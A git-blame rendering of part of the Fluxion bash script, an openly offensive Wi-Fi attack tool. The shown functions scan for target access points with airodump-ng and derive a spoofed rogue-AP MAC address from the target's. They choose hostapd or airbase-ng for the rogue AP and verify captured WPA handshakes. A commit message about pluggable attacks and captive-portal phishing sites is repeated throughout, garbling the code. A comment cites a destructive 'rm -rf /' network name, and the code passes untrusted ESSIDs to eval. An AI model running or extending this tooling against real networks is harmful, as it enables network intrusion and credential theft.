|
2016-05-15 09:34:47 -06:00
|
|
|
}
|
|
|
|
|
2017-12-04 02:05:23 -07:00
|
|
|
# Parameters: monitor [ channel(s) [ band(s) ] ]
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_run_scanner() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ ${#@} -lt 1 ]; then return 1; fi
|
2017-12-04 02:05:23 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice"
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONStartingScannerTip"
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Remove any pre-existing scanner results.
|
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$FLUXIONAuto" ]; then
|
|
|
|
sleep 30 && killall xterm &
|
|
|
|
fi
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Begin scanner and output all results to "dump-01.csv."
|
|
|
|
if ! xterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e "airodump-ng -Mat WPA "${2:+"--channel $2"}" "${3:+"--band $3"}" -w \"$FLUXIONWorkspacePath/dump\" $1" 2>/dev/null; then
|
|
|
|
echo -e "$FLUXIONVLine$CRed $FLUXIONGeneralXTermFailureError"
|
|
|
|
sleep 5
|
|
|
|
return 1
|
|
|
|
fi
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Fix this below, creating subshells for something like this is somewhat ridiculous.
|
|
|
|
local scannerResultsExist=$([ -f "$FLUXIONWorkspacePath/dump-01.csv" ] && echo true)
|
|
|
|
local scannerResultsReadable=$([ -s "$FLUXIONWorkspacePath/dump-01.csv" ] && echo true)
|
2017-08-11 17:38:52 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ ! "$scannerResultsReadable" ]; then
|
|
|
|
if [ "$scannerResultsExist" ]; then
|
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
|
|
|
|
fi
|
2017-08-10 21:02:12 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
local choices=("$FLUXIONGeneralBackOption" "$FLUXIONGeneralExitOption")
|
|
|
|
io_query_choice "$FLUXIONScannerFailedNotice" choices[@]
|
|
|
|
|
|
|
|
echo
|
|
|
|
|
|
|
|
case "$IOQueryChoice" in
|
|
|
|
"$FLUXIONGeneralBackOption") return 1 ;;
|
|
|
|
"$FLUXIONGeneralExitOption")
|
|
|
|
fluxion_exitmode
|
|
|
|
return 2
|
|
|
|
;;
|
|
|
|
esac
|
|
|
|
fi
|
|
|
|
|
|
|
|
# Syntheize scan operation results from output file "dump-01.csv."
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONPreparingScannerResultsNotice"
|
|
|
|
# Unfortunately, mawk (alias awk) does not support the {n} times matching operator.
|
|
|
|
# readarray TargetAPCandidates < <(gawk -F, 'NF==15 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv)
|
|
|
|
readarray TargetAPCandidates < <(awk -F, 'NF==15 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv")
|
|
|
|
# readarray TargetAPCandidatesClients < <(gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv)
|
|
|
|
readarray TargetAPCandidatesClients < <(awk -F, 'NF==7 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv")
|
|
|
|
|
|
|
|
# Cleanup the workspace to prevent potential bugs/conflicts.
|
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
|
|
|
|
|
|
|
|
if [ ${#TargetAPCandidates[@]} -eq 0 ]; then
|
|
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
|
|
|
|
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice"
|
|
|
|
sleep 3
|
|
|
|
return 1
|
|
|
|
fi
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
}
|
|
|
|
|
2017-08-11 17:38:52 -06:00
|
|
|
###################################### < Target > ######################################
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_unset_target_ap() {
|
2017-12-31 09:02:12 -07:00
|
|
|
APTargetSSID=""
|
|
|
|
APTargetChannel=""
|
|
|
|
APTargetEncryption=""
|
|
|
|
APTargetMAC=""
|
|
|
|
APTargetMakerID=""
|
|
|
|
APTargetMaker=""
|
|
|
|
APRogueMAC=""
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
}
|
|
|
|
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_set_target_ap() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$APTargetSSID" -a "$APTargetChannel" -a "$APTargetEncryption" -a \
|
|
|
|
"$APTargetMAC" -a "$APTargetMakerID" -a "$APRogueMAC" ]; then
|
|
|
|
return 0
|
|
|
|
fi
|
|
|
|
|
|
|
|
fluxion_unset_target_ap
|
|
|
|
|
|
|
|
local TargetAPCandidatesMAC=()
|
|
|
|
local TargetAPCandidatesClientsCount=()
|
|
|
|
local TargetAPCandidatesChannel=()
|
|
|
|
local TargetAPCandidatesSecurity=()
|
|
|
|
local TargetAPCandidatesSignal=()
|
|
|
|
local TargetAPCandidatesPower=()
|
|
|
|
local TargetAPCandidatesESSID=()
|
|
|
|
local TargetAPCandidatesColor=()
|
|
|
|
|
|
|
|
for candidateAPInfo in "${TargetAPCandidates[@]}"; do
|
|
|
|
candidateAPInfo=$(echo "$candidateAPInfo" | sed -r "s/,\s*/,/g")
|
|
|
|
|
|
|
|
local i=${#TargetAPCandidatesMAC[@]}
|
|
|
|
|
|
|
|
TargetAPCandidatesMAC[i]=$(echo "$candidateAPInfo" | cut -d , -f 1)
|
|
|
|
TargetAPCandidatesClientsCount[i]=$(echo "${TargetAPCandidatesClients[@]}" | grep -c "${TargetAPCandidatesMAC[i]}")
|
|
|
|
TargetAPCandidatesChannel[i]=$(echo "$candidateAPInfo" | cut -d , -f 4)
|
|
|
|
TargetAPCandidatesSecurity[i]=$(echo "$candidateAPInfo" | cut -d , -f 6)
|
|
|
|
TargetAPCandidatesPower[i]=$(echo "$candidateAPInfo" | cut -d , -f 9)
|
|
|
|
TargetAPCandidatesColor[i]=$([ ${TargetAPCandidatesClientsCount[i]} -gt 0 ] && echo $CGrn || echo $CClr)
|
|
|
|
|
|
|
|
# Parse any non-ascii characters by letting bash handle them.
|
|
|
|
# Just escape all single quotes in ESSID and let bash's $'...' handle it.
|
|
|
|
local sanitizedESSID=$(echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14)
|
|
|
|
TargetAPCandidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'")
|
|
|
|
|
|
|
|
local power=${TargetAPCandidatesPower[i]}
|
|
|
|
if [ $power -eq -1 ]; then
|
|
|
|
# airodump-ng's man page says -1 means unsupported value.
|
|
|
|
TargetAPCandidatesQuality[i]="??"
|
|
|
|
elif [ $power -le $FLUXIONNoiseFloor ]; then
|
|
|
|
TargetAPCandidatesQuality[i]=0
|
|
|
|
elif [ $power -gt $FLUXIONNoiseCeiling ]; then
|
|
|
|
TargetAPCandidatesQuality[i]=100
|
|
|
|
else
|
|
|
|
# Bash doesn't support floating point division, so I gotta work around it...
|
|
|
|
# The function is Q = ((P - F) / (C - F)); Q - quality, P - power, F - floor, C - Ceiling.
|
|
|
|
TargetAPCandidatesQuality[i]=$(((${TargetAPCandidatesPower[i]} * 10 - $FLUXIONNoiseFloor * 10) / (($FLUXIONNoiseCeiling - $FLUXIONNoiseFloor) / 10)))
|
|
|
|
fi
|
|
|
|
done
|
|
|
|
|
|
|
|
local headerTitle=$(
|
|
|
|
format_center_literals "WIFI LIST"
|
|
|
|
echo -n "$FormatCenterLiterals\n\n"
|
|
|
|
)
|
|
|
|
|
|
|
|
format_apply_autosize "$CRed[$CSYel ** $CClr$CRed]$CClr %-*.*s %4s %3s %3s %2s %-8.8s %18s\n"
|
|
|
|
local headerFields=$(printf "$FormatApplyAutosize" "ESSID" "QLTY" "PWR" "STA" "CH" "SECURITY" "BSSID")
|
|
|
|
|
|
|
|
format_apply_autosize "$CRed[$CSYel%03d$CClr$CRed]%b %-*.*s %3s%% %3s %3d %2s %-8.8s %18s\n"
|
|
|
|
io_query_format_fields "$headerTitle$headerFields" "$FormatApplyAutosize" \
|
|
|
|
TargetAPCandidatesColor[@] \
|
|
|
|
TargetAPCandidatesESSID[@] \
|
|
|
|
TargetAPCandidatesQuality[@] \
|
|
|
|
TargetAPCandidatesPower[@] \
|
|
|
|
TargetAPCandidatesClientsCount[@] \
|
|
|
|
TargetAPCandidatesChannel[@] \
|
|
|
|
TargetAPCandidatesSecurity[@] \
|
|
|
|
TargetAPCandidatesMAC[@]
|
|
|
|
|
|
|
|
echo
|
|
|
|
|
|
|
|
APTargetSSID=${IOQueryFormatFields[1]}
|
|
|
|
APTargetChannel=${IOQueryFormatFields[5]}
|
|
|
|
APTargetEncryption=${IOQueryFormatFields[6]}
|
|
|
|
APTargetMAC=${IOQueryFormatFields[7]}
|
|
|
|
APTargetMakerID=${APTargetMAC:0:8}
|
|
|
|
APTargetMaker=$(macchanger -l | grep ${APTargetMakerID,,} | cut -d ' ' -f 5-)
|
|
|
|
|
|
|
|
# Sanitize network ESSID to normalize it and make it safe for manipulation.
|
|
|
|
# Notice: Why remove these? Because some smartass might decide to name their
|
|
|
|
# network something like "; rm -rf / ;". If the string isn't sanitized accidentally
|
|
|
|
# shit'll hit the fan and we'll have an extremely distressed person subit an issue.
|
|
|
|
# Removing: ' ', '/', '.', '~', '\'
|
|
|
|
APTargetSSIDClean=$(echo "$APTargetSSID" | sed -r 's/( |\/|\.|\~|\\)+/_/g')
|
|
|
|
|
|
|
|
# We'll change a single hex digit from the target AP's MAC address.
|
|
|
|
# This new MAC address will be used as the rogue AP's MAC address.
|
|
|
|
local APRogueMACChange=$(printf %02X $((0x${APTargetMAC:13:1} + 1)))
|
|
|
|
APRogueMAC="${APTargetMAC::13}${APRogueMACChange:1:1}${APTargetMAC:14:4}"
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
}
|
|
|
|
|
2017-09-02 18:01:53 -06:00
|
|
|
function fluxion_show_ap_info() {
|
2017-12-31 09:02:12 -07:00
|
|
|
format_apply_autosize "%*s$CBlu%7s$CClr: %-32s%*s\n"
|
2017-12-21 19:43:50 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
local colorlessFormat="$FormatApplyAutosize"
|
|
|
|
local colorfullFormat=$(echo "$colorlessFormat" | sed -r 's/%-32s/%-32b/g')
|
2017-08-12 23:25:53 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
printf "$colorlessFormat" "" "ESSID" "\"$APTargetSSID\" / $APTargetEncryption" ""
|
|
|
|
printf "$colorlessFormat" "" "Channel" "$APTargetChannel" ""
|
|
|
|
printf "$colorfullFormat" "" "BSSID" "$APTargetMAC ($CYel${APTargetMaker:-UNKNOWN}$CClr)" ""
|
2017-08-12 23:25:53 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo
|
2016-05-15 09:34:47 -06:00
|
|
|
}
|
|
|
|
|
2017-08-11 17:38:52 -06:00
|
|
|
#################################### < AP Service > ####################################
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_unset_ap_service() {
|
2017-12-31 09:02:12 -07:00
|
|
|
APRogueService=""
|
2016-05-15 09:34:47 -06:00
|
|
|
}
|
|
|
|
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_set_ap_service() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$APRogueService" ]; then return 0; fi
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_unset_ap_service
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$FLUXIONAuto" ]; then
|
|
|
|
APRogueService="hostapd"
|
|
|
|
else
|
|
|
|
fluxion_header
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine $FLUXIONAPServiceQuery"
|
|
|
|
echo
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker"
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
local choices=("$FLUXIONAPServiceHostapdOption" "$FLUXIONAPServiceAirbaseOption" "$FLUXIONGeneralBackOption")
|
|
|
|
io_query_choice "" choices[@]
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo
|
2017-08-12 20:23:22 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
case "$IOQueryChoice" in
|
|
|
|
"$FLUXIONAPServiceHostapdOption") APRogueService="hostapd" ;;
|
|
|
|
"$FLUXIONAPServiceAirbaseOption") APRogueService="airbase-ng" ;;
|
|
|
|
"$FLUXIONGeneralBackOption")
|
|
|
|
fluxion_unset_ap_service
|
|
|
|
return 1
|
|
|
|
;;
|
|
|
|
*)
|
|
|
|
fluxion_conditional_bail
|
|
|
|
return 1
|
|
|
|
;;
|
|
|
|
esac
|
|
|
|
fi
|
2017-06-28 08:56:24 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# AP Service: Load the service's helper routines.
|
|
|
|
source "lib/ap/$APRogueService.sh"
|
2016-05-15 09:34:47 -06:00
|
|
|
}
|
|
|
|
|
2017-08-11 17:38:52 -06:00
|
|
|
###################################### < Hashes > ######################################
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_check_hash() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; then
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError"
|
|
|
|
sleep 3
|
|
|
|
return 1
|
|
|
|
fi
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
local verifier
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$FLUXIONAuto" ]; then
|
|
|
|
verifier="pyrit"
|
|
|
|
else
|
|
|
|
fluxion_header
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine $FLUXIONHashVerificationMethodQuery"
|
|
|
|
echo
|
2016-11-20 23:00:32 -07:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker"
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
|
|
|
|
io_query_choice "" choices[@]
|
2017-08-12 20:23:22 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo
|
2017-08-16 00:01:51 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
case "$IOQueryChoice" in
|
|
|
|
"$FLUXIONHashVerificationMethodPyritOption") verifier="pyrit" ;;
|
|
|
|
"$FLUXIONHashVerificationMethodAircrackOption") verifier="aircrack-ng" ;;
|
|
|
|
"$FLUXIONGeneralBackOption") return 1 ;;
|
|
|
|
esac
|
|
|
|
fi
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
hash_check_handshake "$verifier" "$APTargetHashPath" "$APTargetSSID" "$APTargetMAC" >$FLUXIONOutputDevice
|
|
|
|
local hashResult=$?
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# A value other than 0 means there's an issue with the hash.
|
|
|
|
if [ $hashResult -ne 0 ]; then echo -e "$FLUXIONVLine $FLUXIONHashInvalidError"
|
|
|
|
else echo -e "$FLUXIONVLine $FLUXIONHashValidNotice"
|
|
|
|
fi
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
sleep 3
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ $hashResult -ne 0 ]; then return 1; fi
|
2016-05-15 09:34:47 -06:00
|
|
|
}
|
|
|
|
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_set_hash_path() {
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_header
|
|
|
|
echo
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileQuery"
|
|
|
|
echo
|
|
|
|
echo -ne "$FLUXIONAbsolutePathInfo: "
|
|
|
|
read APTargetHashPath
|
2016-05-15 09:34:47 -06:00
|
|
|
}
|
|
|
|
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_unset_hash() {
|
2017-12-31 09:02:12 -07:00
|
|
|
APTargetHashPath=""
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
